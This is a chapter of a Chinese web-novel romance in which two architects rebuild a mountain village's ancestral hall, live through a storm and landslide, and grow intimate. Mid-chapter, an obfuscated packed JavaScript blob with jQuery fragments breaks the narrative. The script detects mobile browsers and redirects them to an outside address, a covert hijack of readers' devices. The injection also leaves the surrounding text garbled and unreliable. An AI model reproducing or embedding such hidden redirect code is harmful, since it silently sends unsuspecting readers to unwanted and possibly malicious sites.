重建工作开始的第四天，问题出现了。
老木匠杨师傅坚持要用传统榫卯，拒绝顾怀瑾提出的加固钢件：“祖宗传下来的手艺，几百年都没倒，加那些铁疙瘩做啥子？”
几个年轻村民却嫌夯土墙太慢，想用便宜的砖块：“城里都这么盖，又快又省事。”
林溪站在两拨人中间，第一次体会到“在地设计”的真正难度——不是技术问题，是观念碰撞。
“杨师傅，”林溪蹲在老人身边，指着祠堂残存的一根柱子，“您看这榫头，去年大雨后已经开始朽了。我们不是要丢掉老手艺，是想让它传得更久。”
他拿过图纸，在边缘空白处快速画了一个改良方案：“榫卯照样做，但在关键位置加一个小小的钢片，藏在木头里面，外面看不见。就像人骨折了要打钢板，骨头长好，钢板就一直在里面保护着。”
杨师傅眯起眼睛看图纸，粗糙的手指摩挲着纸面。良久，他抬头：“你这个娃娃，懂木头。”
“我祖父也是木匠。”林溪轻声说，“小时候，他教我做第一个榫卯，说‘木头有生命，要顺着它的纹理来’。”
老人眼中闪过一丝亮光：“你祖父……还在吗？”
“还健在，就是耳朵有点背了。”林溪说，“他留了一箱工具给我。这次没带来，下次给您看。”
杨师傅点点头，不再反对。
另一边，顾怀瑾正在处理年轻人的问题。他让一个叫阿山的青年去河边捡了几块石头，又拿来一块红砖。
“来，砸。”顾怀瑾把锤子递给他。
阿山愣了：“砸啥子？”
“都砸，看哪个结实。”
围观的人多了起来。阿山先砸砖，一锤下去，砖裂成两半。又砸石头，砸了三下才裂。
“红砖便宜，但不耐水。”顾怀瑾说，“咱们这儿一年下四个月的雨，砖墙三年就返潮，五年就酥了。夯土墙虽然慢，但越用越硬，几十年没问题。”
他指着远处的山：“而且土是自家的，不要钱。砖要从山外运，运费比砖还贵。”
账算明白了，年轻人们不再说话。
---
晚上回到住处，林溪累得直接瘫在床上。顾怀瑾打来热水，拧了毛巾给他擦脸。
“我自己来……”林溪要起身，被顾怀瑾按回去。
“别动。”顾怀瑾的声音很轻，手上的动作却仔细——额头，脸颊，脖子，一点点擦干净尘土。
毛巾温热，带着顾怀瑾掌心的温度。林溪闭着眼，突然觉得鼻子发酸。
“怎么了？”顾怀瑾察觉到他情绪不对。
“就是……”林溪睁开眼，眼眶有点红，“觉得你好温柔。和在事务所时完全不一样。”
顾怀瑾顿了顿，把毛巾放进盆里，在他身边坐下：“在事务所，我是合伙人，要负责。在这里，我只是……你的顾怀瑾。”
他说这话时没有看林溪，耳根却微微发红。这种直白的情话，对顾怀瑾来说还是需要勇气。
林溪笑了，凑过去亲了亲他的嘴角：“我的顾怀瑾真可爱。”
“别闹。”顾怀瑾躲了躲，却伸手把人揽进怀里，“累了一天，早点睡。”
“一起睡？”林溪故意问。
“不然呢？”顾怀瑾关掉灯，在黑暗中准确找到他的唇，吻了一下，“这屋里就一张床。”
山区夜晚很冷，两人挤在一床薄被下，靠彼此的体温取暖。顾怀瑾从背后抱着林溪，手臂环得很紧，像是怕他冷，也像是……单纯想抱着。
“你以前睡觉也这样吗？”林溪小声问。
“哪样？”
“抱着人。”
顾怀瑾沉默了几秒：“……没有。”
“那现在怎么……”
“不知道。”顾怀瑾把脸埋在他后颈，声音闷闷的，“就是……想抱着。”
林溪心里软成一片。这个在事务所雷厉风行的男人，此刻像个大型犬科动物，黏人又不好意思承认。
他转身，面对面钻进顾怀瑾怀里，主动环住对方的腰：“那给你抱。”
顾怀瑾身体僵了一下，随即放松下来，把他搂得更紧。
---
第五天，开始下雨。
起初是细雨，后来变成瓢泼大雨。山区的雨来得凶猛，帐篷区很快积水，村民们忙着挖排水沟。
顾怀瑾和林溪披着雨衣在现场指挥。祠堂地基刚挖到一半，雨水灌进去，变成泥潭。
“停工！都回去！”顾怀瑾大声喊。
村民们陆续撤离，顾怀瑾却跳进基坑，检查支撑木桩是否牢固。林溪跟着跳下去。
“你上来！”顾怀瑾急了。
“你能下我为什么不能？”林溪抹了把脸上的雨水，“两个人检查快一点。”
雨越下越大，山体开始有碎石滚落。顾怀瑾脸色一变：“快走！”
两人刚爬出基坑，就听“轰”的一声——上方一处裸露的土坡塌方了，泥浆裹着石块冲下来，正砸在基坑边缘。
如果再晚一分钟……
顾怀瑾一把拽过林溪，紧紧抱住，身体在微微发抖。
回到住处，两人都成了泥人。热水有限，只能简单擦洗。顾怀瑾让林溪先洗，自己站在门口，看着外面如瀑的雨幕，脸色苍白。
林溪洗好出来，看见他的样子，心里一紧：“怀瑾？”
顾怀瑾转身，突然一步上前，紧紧抱住他。抱得很用力，像是要确认这个人还完好地在自己怀里。
“我差点……”他的声音在颤抖，“我差点又……”
“又”什么，他没说。但林溪明白了——十二岁失去母亲，那种眼睁睁看着至亲离去却无能为力的恐惧，在刚才的瞬间卷土重来。
“我没事。”林溪轻轻拍他的背，“你看，我好好的。”
“以后不准这样。”顾怀瑾抬起头，眼眶发红，“不准再跟着我跳下去，不准让自己处于危险中。林溪，我……”
他深吸一口气，像是用尽所有勇气：“我受不了再失去重要的人了。”
这句话，比任何情话都重。林溪怔住了，然后踮脚吻他。这个吻带着雨水和泥土的味道，咸涩，却真实。
吻到两人都喘不过气，林溪才抵着他的额头说：“我答应你。但你也要答应我——有危险我们一起面对，不是一个人扛。”
顾怀瑾看着他，终于点头：“好。”
---
雨下了整整一夜。第二天清晨，雨停了，但山路被冲毁，物资运不进来，通信也断了。
村委会成了临时指挥部。杨村长统计损失：三顶帐篷被冲垮，所幸人都及时转移；药材田被淹；最麻烦的是——存粮的仓库进水，面粉和米都湿了。
“还能吃几天？”顾怀瑾问。
“省着点，三天。”杨村长眉头紧锁，“路最快也要五天才能通。”
林溪突然想起什么：“村里有石磨吗？”
“有，祠堂后面就有一个，老物件了。”
“面粉湿了可以烘干，磨成粉就能吃。”林溪说，“米晒晒也能凑合。关键是——咱们得自己想办法，不能干等。”
顾怀瑾看着他，眼中露出骄傲。这就是林溪，永远在找解决办法，而不是抱怨问题。
接下来的两天，云岭村展现出惊人的韧性。
女人们架起大锅烘烤湿面粉，孩子们捡柴火，男人们清理道路。杨师傅带人修好了石磨，虽然慢，但一天也能磨出几十斤面粉。
顾怀瑾和林溪也没闲着。他们发现村里有几栋老房子用了石板屋顶，虽然旧，但防水效果极好。
“这种石板，山里能采到吗？”顾怀瑾问。
“能，后山就有。”一个村民说，“就是太重，运输麻烦。”
“如果用来做祠堂的屋顶呢？”
村民们讨论起来。石板重，但永久；瓦片轻，但易碎。最后投票决定——用石板。重就重，多出点力气，换百年安稳。
第三天下午，阿山气喘吁吁跑回来：“路通了！外面送物资的车到了！”
但车进不来，只能停在五里外的临时集散点。需要人去背。
顾怀瑾站起来：“我去。”
“我也去。”林溪跟上。
“你别……”
“你说过，有危险一起面对。”林溪抢白，“背粮食不算危险，就是累。我能行。”
最后去了二十几个青壮年。顾怀瑾背了两袋面粉，五十斤，走山路。林溪背了一袋米，三十斤，跟在后面。
五里山路，平时不算远，但负重走起来格外漫长。林溪走到一半就汗如雨下，腿像灌了铅。
顾怀瑾不时回头看他，眼神担忧。有一次林溪脚下打滑，顾怀瑾几乎是瞬间丢下自己的负重冲过来扶住他。
“我真没事。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193511|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林溪喘着气笑，“你看，我能行。”
顾怀瑾盯着他看了几秒，突然转身蹲下：“上来。”
“啊？”
“我背你。”
“不行！你还背着面粉……”
“面粉可以分两次运。”顾怀瑾不容拒绝，“你上来，剩下的路我背你。”
周围村民善意地笑起来。林溪脸红了，但还是趴到了顾怀瑾背上。
很宽，很稳的背。林溪搂着他的脖子，闻到他颈间汗水和尘土混合的味道，莫名安心。
“顾怀瑾。”他小声说。
“嗯？”
“你以前也这样背过人吗？”
“背过我姐。她小时候崴了脚。”顾怀瑾顿了顿，“还有……我妈生病时，我背她下楼晒太阳。”
林溪心里一疼，把他搂得更紧。
“但背喜欢的人，”顾怀瑾的声音低下来，只有两人能听见，“是第一次。”
林溪把脸埋在他肩头，偷偷笑了。
---
第四天晚上，通信恢复。顾怀瑾的手机涌进一堆未接来电和短信——顾怀玥的，事务所同事的，都在担心他们的安全。
他先给姐姐报平安，然后处理工作邮件。林溪在另一边和祖父视频——祖父看到孙子消瘦的脸颊心疼的不得了。
“祖父，我没事，真的。”林溪笑着说，“这边挺好的，村民可好了。”
挂了视频，林溪发现顾怀瑾正看着自己，眼神温柔。
“怎么了？”林溪问。
“你祖父很疼你。”
“是啊。”林溪坐到他身边，“所以他可能……需要一点时间接受我们的事。”
顾怀瑾握住他的手：“不急。我们有一辈子的时间，慢慢来。”
窗外，山区的星空格外璀璨。没有城市光污染，银河清晰可见，像一条发光的缎带横跨天际。
两人躺在硬板床上，盖着一床被子，手牵着手看星星。
“顾怀瑾。”
“嗯？”
“等祠堂建好了，我们在屋顶开个天窗吧。”林溪说，“晚上躺在地上，就能看到这样的星空。”
“好。”
“然后等我们老了，每年都回来看看。”
“好。”
“还要带着我们的孩子——如果有的话。”
顾怀瑾转过头，在星光下看着他：“林溪，你是在跟我规划一辈子吗？”
林溪的脸微微发烫，但没有躲开他的目光：“是啊。不行吗？”
顾怀瑾笑了，凑过来吻他：“行。怎么不行。”
这个吻很轻，很温柔，像星光落在唇上。吻着吻着，就变了味道。
顾怀瑾的手从林溪衣摆下探进去，掌心有薄茧，抚过皮肤时引起一阵战栗。林溪轻哼一声，身体软下来。
“可以吗？”顾怀瑾贴着他的唇问，呼吸灼热。
这里隔音不好，床板也硬，条件简陋得不像话。但林溪点头了，主动解开顾怀瑾的衣扣。
“轻点……”他小声说，“外面可能有人经过。”
顾怀瑾用吻封住他的声音。
确实很轻，很克制。但正因为克制，每一个触“碰都显得格外珍贵。顾怀瑾的手，顾怀瑾的唇，顾怀瑾的温度，在这个寒冷简陋的山村夜晚，成为最奢侈的温暖。
结束时两人都出了汗，黏腻地抱在一起。顾怀瑾打了水来，仔细帮林溪擦洗，然后重新把他搂进怀里。
“疼吗？”他轻声问。
林溪摇头，往他怀里缩了缩：“就是……有点累。”
“睡吧。”顾怀瑾亲了亲他的额头，“明天还要早起。”
林溪闭上眼，很快睡着了。顾怀瑾却很久没睡，借着窗外的星光，看怀里人的睡颜。
这个勇敢的、倔强的、眼睛里永远有光的青年，现在完完全全属于他了。这个认知让顾怀瑾心里涨满了一种近乎疼痛的柔软。
他想起父亲日记里的那句话：“爱一个人，就是愿意把最脆弱的自己交给他，也愿意成为他最坚固的铠甲。”
从前不懂，现在懂了。
他低头，在林溪唇上印下一个轻如羽毛的吻。
“晚安，我的林溪。”他用气声说，“谢谢你，来到我的生命里。”
窗外，银河静静流淌。而屋里，两个相爱的人，在彼此的呼吸声中，沉入有史以来最安稳的梦乡。